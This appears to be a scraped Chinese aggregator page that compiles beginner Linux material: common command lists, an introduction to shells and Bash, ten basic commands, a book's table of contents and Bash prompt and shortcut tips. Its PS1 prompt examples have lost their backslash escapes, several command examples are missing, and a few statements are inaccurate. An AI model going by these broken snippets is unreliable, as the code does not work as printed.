導航:首頁 > 程序命令 > 命令行快速入門

命令行快速入門

發布時間:2024-04-04 22:59:02

linux必學的60個命令

Linux常用的命令可以分為以下幾類:安裝和登錄命令、文件處理命令、系統管理相關命令、網路操作命令、系統安全相關命令、其它命令。

安裝和登錄命令:login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last。

文件處理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln。

系統管理相關命令:df、top、free、quota、at、lp、adser、groupadd、kill、crontab。

網路操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、 nslookup。

系統安全相關命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who。

其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。

Linux簡介

Linux,全稱GNU/Linux,是一套免費使用和自由傳播的類Unix操作系統,是一個基於POSIX的多用戶、多任務、支持多線程和多CPU的操作系統。伴隨著互聯網的發展,Linux得到了來自全世界軟體愛好者、組織、公司的支持。

它除了在伺服器方面保持著強勁的發展勢頭以外,在個人電腦、嵌入式系統上都有著長足的進步。使用者不僅可以直觀地獲取該操作系統的實現機制,而且可以根據自身的需要來修改完善Linux,使其最大化地適應用戶的需要。

Linux不僅系統性能穩定,而且是開源軟體。其核心防火牆組件性能高效、配置簡單,保證了系統的安全。在很多企業網路中,為了追求速度和安全,Linux不僅僅是被網路運維人員當作伺服器使用,甚至當作網路防火牆,這是Linux的一大亮點。

② LINUX快速入門第八章:Shell基礎

我們平時所說的 Shell 可以理解為 Linux 系統提供給用戶的使用界面。Shell 為用戶提供了輸入命令和參數並可得到命令執行結果的環境。當一個用戶登錄 Linux 之後,系統初始化程序 init 就根據 /etc/passwd 文件中的設定,為每個用戶運行一個被稱為 Shell(外殼)的程序。

確切地說,Shell 是一個命令行解釋器,它為用戶提供了一個向 Linux 內核發送請求以便運行程序的界面系統級程序,用戶可以用 Shell 來啟動、掛起、停止甚至編寫一些程序。

Shell 處在內核與外層應用程序之間,起著協調用戶與系統的一致性、在用戶與系統之間進行交互的作用。圖 1 是 Linux 系統層次結構圖,Shell 接收用戶輸入的命令,並把用戶的命令從類似 abed 的 ASCII 碼解釋為類似 0101 的機器語言,然後把命令提交到系統內核處理;當內核處理完畢之後,把處理結果再通過 Shell 返回給用戶。

換句話說:

Shell 是一個用 C 語言編寫的程序,它是用戶使用 Linux 的橋梁。Shell 既是一種命令語言,又是一種程序設計語言。

Shell 是指一種應用程序,這個應用程序提供了一個界面,用戶通過這個界面訪問操作系統內核的服務。

Ken Thompson 的 sh 是第一種 Unix Shell,Windows Explorer 是一個典型的圖形界面 Shell。

Shell 與其他 Linux 命令一樣,都是實用程序,但它們之間還是有區別的。一旦用戶注冊到系統後,Shell 就被系統裝入內存並一直運行到用戶退出系統為止;而一般命令僅當被調用時,才由系統裝入內存執行。

與一般命令相比,Shell 除了是一個命令行解釋器,同時還是一門功能強大的編程語言,易編寫,易調試,靈活性較強。作為一種命令級語言,Shell 是解釋性的,組合功能很強,與操作系統有密切的關系,可以在 Shell 腳本中直接使用系統命令。大多數 Linux 系統的啟動相關文件(一般在 /etc/rc.d 目錄下)都是使用 Shell 腳本編寫的。

同傳統的編程語言一樣,Shell 提供了很多特性,這些特性可以使 Shell 腳本編程更為有用,如數據變數、參數傳遞、判斷、流程式控制制、數據輸入和輸出、子程序及中斷處理等。

說了這么多,其實我們在 Linux 中操作的命令行界面就是 Linux 的 Shell,也就是 Bash,但是我們的圖形界面是 Shell 嗎?其實從廣義講,圖形界面當然也是 Shell,因為它同樣用來接收用戶的操作,並傳遞到內核進行處理。不過,這里的 Shell 主要指的是 Bash。

Shell 腳本

Shell 腳本(shell script),是一種為 shell 編寫的腳本程序。

業界所說的 shell 通常都是指 shell 腳本,但讀者朋友要知道,shell 和 shell script 是兩個不同的概念。

由於習慣的原因,簡潔起見,本文出現的 "shell編程" 都是指 shell 腳本編程,不是指開發 shell 自身。

Shell的分類

目前 Shell 的版本有很多種,如 Bourne Shell、C Shell、Bash、ksh、tcsh 等,它們各有特點,下面簡要介紹一下。

最重要的 Shell 是 Bourne Shell,這個命名是為了紀念此 Shell 的發明者 Steven Bourne。從 1979 年起,UNIX 就開始使用 Boume Shell。Bourne Shell 的主文件名為 sh,開發人員便以 sh 作為 Bourne Shell 的主要識別名稱。

雖然 Linux 與 UNIX 一樣,可以支持多種 Shell,但 Boume Shell 的重要地位至今仍然沒有改變,許多 UNIX 系統中仍然使用 sh 作為重要的管理工具。它的工作從開機到關機,幾乎無所不包。在 Linux 中,用戶 Shell 主要是 Bash,但在啟動腳本、編輯等很多工作中仍然使用 Bourne Shell。

C Shell 是廣為流行的 Shell 變種。C Shell 主要在 BSD 版的 UNIX 系統中使用,發明者是柏克萊大學的 Bill Joy。C Shell 因為其語法和 C 語言類似而得名,這也使得 UNIX 的系統工程師在學習 C Shell 時感到相當方便。

Bourne Shell 和 C Shell 形成了 Shell 的兩大主流派別,後來的變種大都吸取這兩種 Shell 的特點,如 Korn、 tcsh 及 Bash。

Bash Shell 是 GNU 計劃的重要工具之一,也是 GNU 系統中標準的 Shell。Bash 與 sh 兼容,所以許多早期開發出來的 Bourne Shell 程序都可以繼續在 Bash 中運行。現在使用的 Linux 就使用 Bash 作為用戶的基本 Shell。

Bash 於 1988 年發布,並在 1995-1996年推出Bash 2.0。在這之前,廣為使用的版本是1.14,Bash 2.0增加了許多新的功能,以及具備更好的兼容性。表 2 中詳細列出了各版本的具體情況。

注意,Shell 的兩種主要語法類型有 Bourne 和 C,這兩種語法彼此不兼容。Boume 家族主要包括 sh、ksh、Bash、psh、zsh;C 家族主要包括 csh、tcsh(Bash 和 zsh 在不同程序上支持 csh 的語法)。

本章講述的腳本編程就是在 Bash 環境中進行的。不過,在 Linux 中除了可以支持 Bash,還可以支持很多其他的 Shell。我們可以通過 /etc/shells 文件來査詢 Linux 支持的 Shell。命令如下:

在 Linux 中,這些 Shell 是可以任意切換的,命令如下:

用戶信息文件 /etc/passwd 的最後一列就是這個用戶的登錄 Shell。命令如下:

大家可以看到,root 用戶和其他可以登錄系統的普通用戶的登錄 Shell 都是 /bin/bash,也就是 Linux 的標准 Shell,所以這些用戶登錄之後可以執行許可權允許范圍內的所有命令。不過,所有的系統用戶(偽用戶)因為登錄 Shell 是 /sbin/ndogin,所以不能登錄系統。

筆記:

sh/bash/csh/Tcsh/ksh/pdksh等shell的區別

③ linux基本命令

Linux 對我們的生活產生了巨大的沖擊。至少你的安卓手機使用的就是 Linux 核心。盡管如此,在第一次開始使用 Linux 時你還是會感到難以下手。因為在 Linux 中,通常需要使用終端命令來取代 Windows 系統中的點擊啟動圖標操作。但是不必擔心,這里我們會介紹 10 個 Linux 基本命令來幫助你開啟 Linux 神秘之旅。

幫助新手走出第一步的 10 個 Linux 基本命令

當我們談論 Linux 命令時,實質上是在談論 Linux 系統本身。這短短的 10 個 Linux 基本命令不會讓你變成天才或者 Linux 專家,但是能幫助你輕松開始 Linux 之旅。使用這些基本命令會幫助新手們完成 Linux 的日常任務,由於它們的使用頻率如此至高,所以我更樂意稱他們為 Linux 命令之王!

讓我們開始學習這 10 條 Linux 基本命令吧。

1. sudo

這條命令的意思是「以超級用戶的身份執行」,是 SuperUserDo 的簡寫,它是新手將要用到的最重要的一條 Linux 命令。當一條單行命令需要 root 許可權的時候,sudo命令就派上用場了。你可以在每一條需要 root 許可權的命令前都加上sudo。

$ sudo su
2. ls

跟其他人一樣,你肯定也經常想看看目錄下都有些什麼東西。使用列表命令,終端會把當前工作目錄下所有的文件以及文件夾展示給你。比如說,我當前處在 /home 文件夾中,我想看看 /home 文件夾中都有哪些文件和目錄。

/home$ ls
在 /home 中執行ls命令將會返回類似下面的內容:

imad lost+found
3. cd

變更目錄命令(cd)是終端中總會被用到的主要命令。它是最常用到的 Linux 基本命令之一。此命令使用非常簡單,當你打算從當前目錄跳轉至某個文件夾時,只需要將文件夾鍵入此命令之後即可。如果你想跳轉至上層目錄,只需要在此命令之後鍵入兩個點 (..) 就可以了。 舉個例子,我現在處在 /home 目錄中,我想移動到 /home 目錄中的 usr 文件夾下,可以通過以下命令來完成操作。

/home $ cd usr
/home/usr $
4. mkdir

只是可以切換目錄還是不夠完美。有時候你會想要新建一個文件夾或子文件夾。此時可以使用 mkdir 命令來完成操作。使用方法很簡單,只需要把新的文件夾名跟在 mkdir 命令之後就好了。

~$ mkdir folderName
5. cp

拷貝-粘貼-and-paste是我們組織文件需要用到的重要命令。使用 cp命令可以幫助你在終端當中完成拷貝-粘貼操作。首先確定你想要拷貝的文件,然後鍵入打算粘貼此文件的目標位置。

$ cp src des
注意:如果目標目錄對新建文件需要 root 許可權時,你可以使用 sudo命令來完成文件拷貝操作。

6. rm

rm 命令可以幫助你移除文件甚至目錄。如果不希望每刪除一個文件都提示確認一次,可以用-f參數來強制執行。也可以使用-r參數來遞歸的移除文件夾。

$ rm myfile.txt
7. apt-get

這個命令會依據發行版的不同而有所區別。在基於 Debian 的發行版中,我們擁有 Advanced Packaging Tool(APT)包管理工具來安裝、移除和升級包。apt-get 命令會幫助你安裝需要在 Linux 系統中運行的軟體。它是一個功能強大的命令行,可以用來幫助你對軟體執行安裝、升級和移除操作。

在其他發行版中,例如 Fedora、Centos,都各自不同的包管理工具。Fedora 之前使用的是 yum,不過現在 dnf 成了它默認的包管理工具。

$ sudo apt-get update
$ sudo dnf update
8. grep

當你需要查找一個文件,但是又忘記了它具體的位置和路徑時,grep命令會幫助你解決這個難題。你可以提供文件的關鍵字,使用grep命令來查找到它。

$ grep user /etc/passwd
9. cat

作為一個用戶,你應該會經常需要瀏覽腳本內的文本或者代碼。cat命令是 Linux 系統的基本命令之一,它的用途就是將文件的內容展示給你。

$ cat CMakeLists.txt
10. poweroff

最後一個命令是 poweroff。有時你需要直接在終端中執行關機操作。此命令可以完成這個任務。由於關機操作需要 root 許可權,所以別忘了在此命令之前添加sudo。

$ sudo poweroff
總結

如我在文章開始所言,這 10 條命令並不會讓你立即成為一個 Linux 大拿,但它們會讓你在初期快速上手 Linux。以這些命令為基礎,給自己設置一個目標,每天學習一到三條命令,這就是此文的目的所在。

④ linux常用的命令有哪些

Linux運維人員必會的120個命令
來自《跟老男孩學Linux運維:核心系統命令實戰》一書
前言
第1章 Linux命令行簡介 / 1
1.1Linux命令行概述 / 1
1.2在Linux命令行下查看命令幫助 / 4
1.3Linux shutdown reboot halt / 9
關機:
shutdown -h now
halt
init 0

第2章 文件和目錄操作命令 / 13
2.1pwd:顯示當前所在的位置 / 13
2.2cd:切換目錄 / 16
2.3tree:以樹形結構顯示目錄下的內容 / 18
2.4mkdir:創建目錄 / 22
2.5touch:創建空文件或改變文件的時間戳屬性 / 27
2.6ls:顯示目錄下的內容及相關屬性信息 / 30
2.7cp:復制文件或目錄 / 39
2.8mv:移動或重命名文件 / 42
2.9rm:刪除文件或目錄 / 45
2.10rmdir:刪除空目錄 / 48
2.11ln:硬鏈接與軟鏈接 / 49
2.12readlink:查看符號鏈接文件的內容 / 54
2.13find:查找目錄下的文件 / 55
2.14xargs:將標准輸入轉換成命令行參數 / 68
2.15rename:重命名文件 / 71
2.16basename:顯示文件名或目錄名 / 72
2.17dirname:顯示文件或目錄路徑 / 72
2.18chattr:改變文件的擴展屬性 / 73
2.19lsattr:查看文件擴展屬性 / 75
2.20file:顯示文件的類型 / 76
2.21md5sum:計算和校驗文件的MD5值 / 77
2.22chown:改變文件或目錄的用戶和用戶組 / 80
2.23chmod:改變文件或目錄許可權 / 81
2.24chgrp:更改文件用戶組 / 85
2.25umask:顯示或設置許可權掩碼 / 86
2.26老男孩從新手成為技術大牛的心法 / 90
第3章 文件過濾及內容編輯處理命令 / 91
3.1cat:合並文件或查看文件內容 / 91
3.2tac:反向顯示文件內容 / 103
3.3more:分頁顯示文件內容 / 104
3.4less:分頁顯示文件內容 / 107
3.5head:顯示文件內容頭部 / 109
3.6tail:顯示文件內容尾部 / 111
3.7tailf:跟蹤日誌文件 / 114
3.8cut:從文本中提取一段文字並輸出 / 115
3.9split:分割文件 / 117
3.10paste:合並文件 / 118
3.11sort:文本排序 / 123
3.12join:按兩個文件的相同欄位合並 / 127
3.13uniq:去除重復行 / 129
3.14wc:統計文件的行數、單詞數或位元組數 / 131
3.15iconv:轉換文件的編碼格式 / 133
3.16dos2unix:將DOS格式文件轉換成UNIX格式 / 134
3.17diff:比較兩個文件的不同 / 135
3.18vimdiff:可視化比較工具 / 138
3.19rev:反向輸出文件內容 / 139
3.20tr:替換或刪除字元 / 140
3.21od:按不同進制顯示文件 / 143
3.22tee:多重定向 / 145
3.23vi/vim:純文本編輯器 / 147
3.24老男孩逆襲思想:做Linux運維的多個好處 / 152
第4章 文本處理三劍客 / 153
4.1grep:文本過濾工具 / 153
4.2sed:字元流編輯器 / 159
4.3awk基礎入門 / 165
第5章 Linux信息顯示與搜索文件命令 / 176
5.1uname:顯示系統信息 / 176
5.2hostname:顯示或設置系統的主機名 / 178

5.3dmesg:系統啟動異常診斷 / 179
5.4stat:顯示文件或文件系統狀態 / 181
5.5:統計磁碟空間使用情況 / 183
5.6date:顯示與設置系統時間 / 186
5.7echo:顯示一行文本 / 190
5.8watch:監視命令執行情況 / 193
5.9which:顯示命令的全路徑 / 195
5.10whereis:顯示命令及其相關文件全路徑 / 196
5.11locate:快速定位文件路徑 / 197
5.12updatedb:更新mlocate資料庫 / 199
5.13老男孩逆襲思想:新手在工作中如何問問題不會被鄙視 / 200
第6章 文件備份與壓縮命令 / 201
6.1tar:打包備份 / 201
6.2gzip:壓縮或解壓文件 / 208
6.3zip:打包和壓縮文件 / 211
6.4unzip:解壓zip文件 / 212
6.5scp:遠程文件復制 / 214
6.6rsync:文件同步工具 / 216
6.7老男孩逆襲思想:新手如何高效地提問 / 220
第7章 Linux用戶管理及用戶信息查詢命令 / 222
7.1 useradd:創建用戶 / 222
7.2usermod:修改用戶信息 / 227
7.3userdel:刪除用戶 / 229
7.4groupadd:創建新的用戶組 / 230
7.5groupdel:刪除用戶組 / 231
7.6passwd:修改用戶密碼 / 232
7.7chage:修改用戶密碼有效期 / 237
7.8chpasswd:批量更新用戶密碼 / 238
7.9su:切換用戶 / 240
7.10visudo:編輯sudoers文件 / 242
7.11sudo:以另一個用戶身份執行命令 / 244
7.12id:顯示用戶與用戶組的信息 / 248
7.13w:顯示已登錄用戶信息 / 249
7.14who:顯示已登錄用戶信息 / 250
7.15users:顯示已登錄用戶 / 252
7.16whoami:顯示當前登錄的用戶名 / 253
7.17last:顯示用戶登錄列表 / 253
7.18lastb:顯示用戶登錄失敗的記錄 / 254
7.19lastlog:顯示所有用戶的最近登錄記錄 / 255
第8章 Linux磁碟與文件系統管理命令 / 257
8.1fdisk:磁碟分區工具 / 257
8.2partprobe:更新內核的硬碟分區表信息 / 265
8.3tune2fs:調整ext2/ext3/ext4文件系統參數 / 266
8.4parted:磁碟分區工具 / 268
8.5mkfs:創建Linux文件系統 / 272
8.6mpe2fs:導出ext2/ext3/ext4文件系統信息 / 274
8.7resize2fs:調整ext2/ext3/ext4文件系統大小 / 275
8.8fsck:檢查並修復Linux文件系統 / 278
8.9dd:轉換或復制文件 / 281
8.10mount:掛載文件系統 / 284
8.11umount:卸載文件系統 / 288
8.12df:報告文件系統磁碟空間的使用情況 / 289
8.13mkswap:創建交換分區 / 293
8.14swapon:激活交換分區 / 294
8.15swapoff:關閉交換分區 / 295
8.16sync:刷新文件系統緩沖區 / 296
第9章 Linux進程管理命令 / 298
9.1ps:查看進程 / 298
9.2pstree:顯示進程狀態樹 / 305
9.3pgrep:查找匹配條件的進程 / 306
9.4kill:終止進程 / 307
9.5killall:通過進程名終止進程 / 310
9.6pkill:通過進程名終止進程 / 311
9.7top:實時顯示系統中各個進程的資源佔用狀況 / 313
9.8nice:調整程序運行時的優先順序 / 320
9.9renice:調整運行中的進程的優先順序 / 323
9.10nohup:用戶退出系統進程繼續工作 / 324
9.11strace:跟蹤進程的系統調用 / 325
9.12ltrace:跟蹤進程調用庫函數 / 332
9.13runlevel:輸出當前運行級別 / 334
9.14init:初始化Linux進程 / 335
9.15service:管理系統服務 / 335
第10章 Linux網路管理命令 / 338
10.1ifconfig:配置或顯示網路介面信息 / 338
10.2ifup:激活網路介面 / 343
ifup eth0
10.3ifdown:禁用網路介面 / 343
ifdown eth0
service network restart(/etc/init.d/network restart) 激活整個網路,所有網卡。
10.4route:顯示或管理路由表 / 344
10.5arp:管理系統的arp緩存 / 350
10.6ip:網路配置工具 / 351
10.7netstat:查看網路狀態 / 358
10.8ss:查看網路狀態 / 362
10.9ping:測試主機之間網路的連通性 / 363
10.10traceroute:追蹤數據傳輸路由狀況 / 366
10.11arping:發送arp請求 / 367
10.12telnet:遠程登錄主機 / 369
10.13nc:多功能網路工具 / 370
10.14ssh:安全地遠程登錄主機 / 373
10.15wget:命令行下載工具 / 376
10.16mailq:顯示郵件傳輸隊列 / 379
10.17mail:發送和接收郵件 / 381
10.18nslookup:域名查詢工具 / 386
10.19dig:域名查詢工具 / 389
10.20host:域名查詢工具 / 393
10.21nmap:網路探測工具和安全/埠掃描器 / 394
10.22tcpmp:監聽網路流量 / 398
第11章 Linux系統管理命令 / 407
11.1lsof:查看進程打開的文件 / 407
11.2uptime:顯示系統的運行時間及負載 / 411
11.3free:查看系統內存信息 / 411
11.4iftop:動態顯示網路介面流量信息 / 413
11.5vmstat:虛擬內存統計 / 415
11.6mpstat:CPU信息統計 / 419
11.7iostat:I/O信息統計 / 420
11.8iotop:動態顯示磁碟I/O統計信息 / 423
11.9sar:收集系統信息 / 425
11.10chkconfig:管理開機服務 / 430
11.11ntsysv:管理開機服務 / 433
11.12 setup:系統管理工具 / 434
11.13ethtool:查詢網卡參數 / 436
11.14mii-tool:管理網路介面的狀態 / 437
11.19rpm:RPM包管理器 / 443
11.20yum:自動化RPM包管理工具 / 446
top命令
第12章 Linux系統常用內置命令 / 450
12.1Linux內置命令概述 / 450
12.2Linux內置命令簡介 / 450
12.3Linux常用內置命令實例 / 452

⑤ 怎樣學習linux

方法是多動手、動腦,學習時要經常與Windows進行對比。建議你先安裝RedHat Linux,然後練習如何配置它,如何使用Linux命令,如何在X—WINDOWS下操作,如何在Linux下安裝應用軟體,如何在Linux下上網、編輯文檔、播放多媒體文件、玩游戲等。

快速上手的方法只有一個,那就是多動手操作,看看你能否完成上面的工作。

2、Linux與Windows有哪些異同點?

Windows是圖形界面的,Linux類似以前的DOS,是文本界面的,如果你運行了圖形界面程序X-WINDOWS後,Linux也能顯示圖形界面,也有開始菜單、桌面、圖標等。

Windows有MS-DOS方式,在該方式下通過輸入DOS命令來操作電腦;而Linux與Windows類似,也有命令方式,Linux啟動後如果不執行X-WINDOWS,就會處於命令方式下,必須發命令才能操作電腦。另外Linux上也有很多的應用軟體,安裝運行了這些軟體後,你就可以在Linux上編輯文檔、圖片,玩游戲、上網、播放多媒體文件等。

不過Linux的分區格式和目錄結構,與Windows迥然不同,應用軟體的安裝方式也不同。

3、安裝Linux時的注意事項

安裝前確定好Linux安裝在哪個分區,Linux也有系統分區和Swap分區(類似Windows的虛擬分區,即交換文件)兩個分區。由於Linux支持的分區格式與Windows分區格式不同,所以如果安裝了Linux後,Windows還能繼續使用,Linux就應該安裝在硬碟分區的最後一個擴展分區;其次Linux的Swap分區必須保證有60MB,系統分區最少要保證240MB;此外安裝前搜集好PC硬體方面的信息,特別是顯示器信息,這將直接決定你安裝Linux後,使用圖形界面程序的效果;在安裝、使用中輸入命令時,請注意大小寫。

4、掌握Linux的目錄結構

Linux的目錄結構與Windows不同,而且在Windows下看不到Linux的目錄,反過來,Linux也看不到Windows下的目錄。Linux下各目錄的含義如下:

目錄名稱
意 義

/vmlinuz
該目錄中存放的是系統內核

/bin
該目錄中存放Linux的常用命令,在有的版本中是一些和根目錄下相同的目錄。

/boot
該目錄下存放的都是系統啟動時要用到的程序,當用lilo引導Linux時,會用到這里的一些信息

/dev
該目錄包含了Linux系統中使用的所有外部設備,它實際上是訪問這些外部設備的埠,你可以訪問這些外部設備,與訪問一個文件或一個目錄沒有區別。例如在系統中鍵入「cd /dev/cdrom」,就可以看到光碟機中的文件;鍵入「cd /dev/mouse」即可看滑鼠的相關文件。

/cdrom
該目錄在剛安裝系統時是空的,你可以將光碟機文件系統掛在這個目錄下, 例如「mount /dev/cdrom /cdrom」

/etc
該目錄存放了系統管理時要用到的各種配置文件和子目錄,例如網路配置文件、文件系統、X系統配置文件、設備配置信息、設置用戶信息等。

/sbin
該目錄用來存放系統管理員的系統管理程序。

/home
如果建立一個名為「xx」的用戶,那麼在/home目錄下就有一個對應的「/home/xx」路徑,用來存放該用戶的主目錄。

/lib
該目錄用來存放系統動態連接共享庫,幾乎所有的應用程序都會用到該目錄下的共享庫

/lost+found
該目錄在大多數情況下都是空的。但當突然停電、或者非正常關機後,有些文件就臨時存放在這里。

/mnt
該目錄在一般情況下也是空的,你可以臨時將別的文件系統掛在該目錄下。

/proc
可以在該目錄下獲取系統信息,這些信息是在內存中由系統自己產生的

/root
如果你是以超級用戶的身份登錄的,這個就是超級用戶的主目錄

/tmp
用來存放不同程序執行時產生的臨時文件

/usr
用戶的很多應用程序和文件都存放在該目錄下

5、Linux的常用命令

如果在Linux命令行模式下遇到不會用的命令,你可以打"man [command]"得到該命令的幫助,如果想知道一個命令有哪些參數,可以打command -help來得到。

注意:linux中的參數輸入形式和dos不一樣,在命令後面應該打一個空格,然後打"-",最後再跟一個或多個參數;另外linux下大小寫是有區別的!

下面介紹幾個linux下最常用的命令,每個命令都與對應的dos命令作比較,並列出一些常用的參數。

命令參數
意 義

Ls

-a列出系統中的隱含文件,linux下的隱含文件是靠文件名的格式來表示的,不同於dos是靠文件屬性來表示,即只要該文件以「.」開頭,那麼它就是隱含文件。
-l以長式列出。就是把該文件或目錄的所有信息都列出來,一個文件佔一行
相當於dos下的dir命令,是列文件列表的命令。

cd
和dos下的cd一樣,轉換目錄的命令。 注意:linux下轉到上級目錄要打"cd .."而不是dos下的"cd..",即"cd"後面要有個空格

pwd
列出當前目錄命令,相當於dos下沒有參數的cd命令。例如:
[root@ttqq bin]# pwd /usr/bin [root@ttqq bin]# 這表示目前在"/usr/bin"目錄下。

Mkdir

-m mode表示建立目錄時默認的目錄模式。這個是dos和Windows所沒有的功能,主要是關於許可權的問題。
建立新目錄,相當於dos的md命令。一般就用 mkdir [dirname]

rmdir
刪除目錄,相當於dos的rd命令。
用法:rmdir [dirname]

cp
-r相當於dos的x/s。用於拷貝一個目錄下的所有子目錄和文件

建立新目錄,相當於dos的md命令。一般就用 mkdir [dirname]

cat
在文件後面追加文件,或在屏幕上列印文件內容,追加功能相當於dos的 file1+file2,而在屏幕上列印文件內容可以和dos的typeml來類比。如果文件太大,在一屏上無法完全顯示,則可用more命令

more
分屏顯示文件內容,和dos下的more命令大致相同,但它可以和別的命令搭配使用。如:cat /home/eec/myfile | more。
參考資料:http://blog.donews.com/jgs/category/29817.aspx

⑥ Linux系統入門-Bash


Shell 是一種命令行解釋器, 其讀取用戶輸入的字元串命令, 解釋並且執行命令;它是一種特殊的應用程序, 介於系統調用/庫與應用程序之間, 其提供了運行其他程序的的介面;它可以是互動式的, 即讀取用戶輸入的字元串;也可以是非互動式的, 即讀取腳本文件並解釋執行, 直至文件結束. 無論是在類 UNIX, Linux 系統, 還是 Windows, 有很多不同種類的 Shell: 如類 UNIX, Linux 系統上的 Bash, Zsh 等; Windows 系統上的 cmd, PowerShell 等.

Bash 是 Bourne Again SHell 的縮寫, 是 GNU 計劃中的 Shell, 也是一些類 UNIX 系統與多數 Linux 發行版的默認 Shell

使用Shell可以實現對Linux系統實現絕大部分的管理,例如:

#獲取當前時間
[root@CentOS7 ~]# date
Mon Mar 15 22:59:47 CST 2021
#創建文件
[root@CentOS7 opt]# touch xcz
[root@CentOS7 opt]# ll
-rw-r--r--. 1 root root 0 Mar 15 23:01 xcz
#創建一百個文件,我們一般就會使用shell script進行創建
[root@CentOS7 opt]# cat touch.sh
#!/bin/bash
for n in `seq 100`;do
touch xcz$n &&
echo "文件xcz$n創建成功哦!"
done
[root@CentOS7 opt]# sh touch.sh

命令行輸入方式:效率較低,適用於工作量不大的工作;

shell script 腳本方式:效率高,適用於工作量大且復雜的工作。

[root@CentOS7 opt]# bash --version
GNU bash, version 4.2.46(2)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

'#39; = 普通用戶
'#' = root用戶(超級管理員)
#查看當前用戶
[root@CentOS7 ~]# whoami
root
#查看當前命令提示符
[root@CentOS7 ~]# echo $PS1
[u@h W]$
root:當前系統的用戶
CentOS7:當前系統的主機名
~:當前所在的位置
#:超級管理員身份(root用戶)
$:普通用戶

提示符參數及含義

d :代表日期;
H :完整的主機名稱
h :僅取主機名中的第一個名字
:顯示時間為24小時格式,如:HH:MM:SS
T :顯示時間為12小時格式
A :顯示時間為24小時格式:HH:MM
u :當前用戶的賬號名稱
v :BASH的版本信息
w :完整的工作目錄名稱
W :利用basename取得工作目錄名稱,只顯示最後一個目錄名
# :下達的第幾個命令
$ :提示字元,如果是root用戶,提示符為 "#" ,普通用戶則為 "#34;

#顏色
30 40 黑色
31 41 紅色
32 42 綠色
33 43 黃色
34 44 藍色
35 45 紫紅色
36 46 青藍色
37 47 白色
PS1='[e[32;40m] [[u@h w ]$ [e[0m]'
PS1="[e[37;40m][[e[32;40m]u[e[37;40m]@h [e[36;40m]w[e[0m]]$ "
PS1="[e[37;40m][[e[32;40m]u[e[37;40m]@[e[35;40m]h[e[0m] [e[36;40m]w[e[0m]]$ "
#提示符的應用
[root@CentOS7 ~]# vi .bashrc
#最後一行下面添加
PS1="[e[37;40m][[e[32;40m]u[e[37;40m]@[e[35;40m]h[e[0m] [e[36;40m]w[e[0m]]$ "
#使用source生效
[root@CentOS7 ~]# source .bashrc

#命令 選項 參數
command [-options] [arguments]
[root@CentOS7 ~]# ls -l /opt/
#命令:整條shell命令的主體
#選項:用於調節命令的具體功能
#以'-'引導段個事選項(單個字元),例如」-l「
#以'--'引導長格式選項(多個字元),例如」--list「
#多個短格式選項可以卸載一起,只用一個」-「引導,例如」-la「
#參數:命令操作與偶的對象,如文件、目錄名等
#命令必須開頭,選項和參數位置可以發生變化

我們在使用Linux系統進行查找一個多層級的文件時,我們可以使用鍵盤上的Tab鍵進行快速補全

補全的形式有:

#如果我們忘記網路配置文件具體路徑,那麼我們就可以使用補全的形式進行配置
[root@CentOS7 ~]# vi /etc/sysconfig/
anaconda cpupower grub irqbalance moles/ rdisc selinux
authconfig crond init kmp netconsole readonly-root sshd
cbq/ ebtables-config ip6tables-config kernel network rsyslog wpa_supplicant
console/ firewalld iptables-config man-db network-scripts/ run-parts
[root@CentOS7 ~]# vi /etc/sysconfig/network
network network-scripts/
[root@CentOS7 ~]# vi /etc/sysconfig/network-scripts/if
ifcfg-ens33 ifdown-eth ifdown-post ifdown-Team ifup-aliases ifup-ipv6 ifup-post ifup-Team
ifcfg-lo ifdown-ippp ifdown-ppp ifdown-TeamPort ifup-bnep ifup-isdn ifup-ppp ifup-TeamPort
ifdown ifdown-ipv6 ifdown-routes ifdown-tunnel ifup-eth ifup-plip ifup-routes ifup-tunnel
ifdown-bnep ifdown-isdn ifdown-sit ifup ifup-ippp ifup-plusb ifup-sit ifup-wireless
[root@CentOS7 ~]# vi /etc/sysconfig/network-scripts/ifcfg-
ifcfg-ens33 ifcfg-lo
[root@CentOS7 ~]# vi /etc/sysconfig/network-scripts/ifcfg-ens33
#如果你的Linux系統無法進行補全,那麼咱們可以安裝一個擴展包即可
[root@CentOS7 ~]# yum install -y bash-completion

clear #或者用快捷鍵 ctrl + l
ctrl+c #有些程序也可以用q鍵退出
ctrl+z # 進程會掛起到後台
bg jobid # 讓進程在後台繼續執行
fg jobid # 讓進程回到前台
Ctrl鍵+a #將當前游標移動到命令行的行首
Ctrl鍵+e #將當前游標移動到命令行的行尾
Ctrl鍵+u #將當前游標之前的所有字元剪切
Ctrl鍵+k #將當前游標之後的所有字元剪切
Ctrl鍵+w #將當前游標之前的字元剪切,以空格為結尾
Ctrl鍵+d #退出當前會話窗口
Ctrl鍵+z #將當前前台運行的程序,放到後台運行
Ctrl鍵+r #搜索 歷史 命令
Ctrl鍵+y #粘貼剪切板上的內容
Ctrl鍵+左右方向鍵 #向指定的方向鍵移動一組字元,以空格為分隔符
ESC鍵+. #使用上一條命令的最後的參數或者路徑,以空格為分隔符,空格之後的內容,delete鍵 從前往後刪除一個字元
!命令 #執行最近的一次以該命令為開頭的命令
!! #執行上一條命令

#使用格式:
[命令] + [--help] 或者[man] + [命令] 即可
#例如touch命令幫助
[root@CentOS7 ~]# touch --help
Usage: touch [OPTION]... FILE...
Update the access and modification times of each FILE to the current time.
A FILE argument that does not exist is created empty, unless -c or -h
is supplied.
A FILE argument string of - is handled specially and causes touch to
change the times of the file associated with standard output.
Mandatory arguments to long options are mandatory for short options too.
-a change only the access time
-c, --no-create do not create any files
-d, --date=STRING parse STRING and use it instead of current time
-f (ignored)
-h, --no-dereference affect each symbolic link instead of any referenced
file (useful only on systems that can change the
timestamps of a symlink)
-m change only the modification time
-r, --reference=FILE use this file's times instead of current time
-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time
--time=WORD change the specified time:
WORD is access, atime, or use: equivalent to -a
WORD is modify or mtime: equivalent to -m
--help display this help and exit
--version output version information and exit
Note that the -d and -t options accept different time-date formats.
GNU coreutils online help:
For complete documentation, run: info coreutils 'touch invocation'

⑦ 入門DOS命令

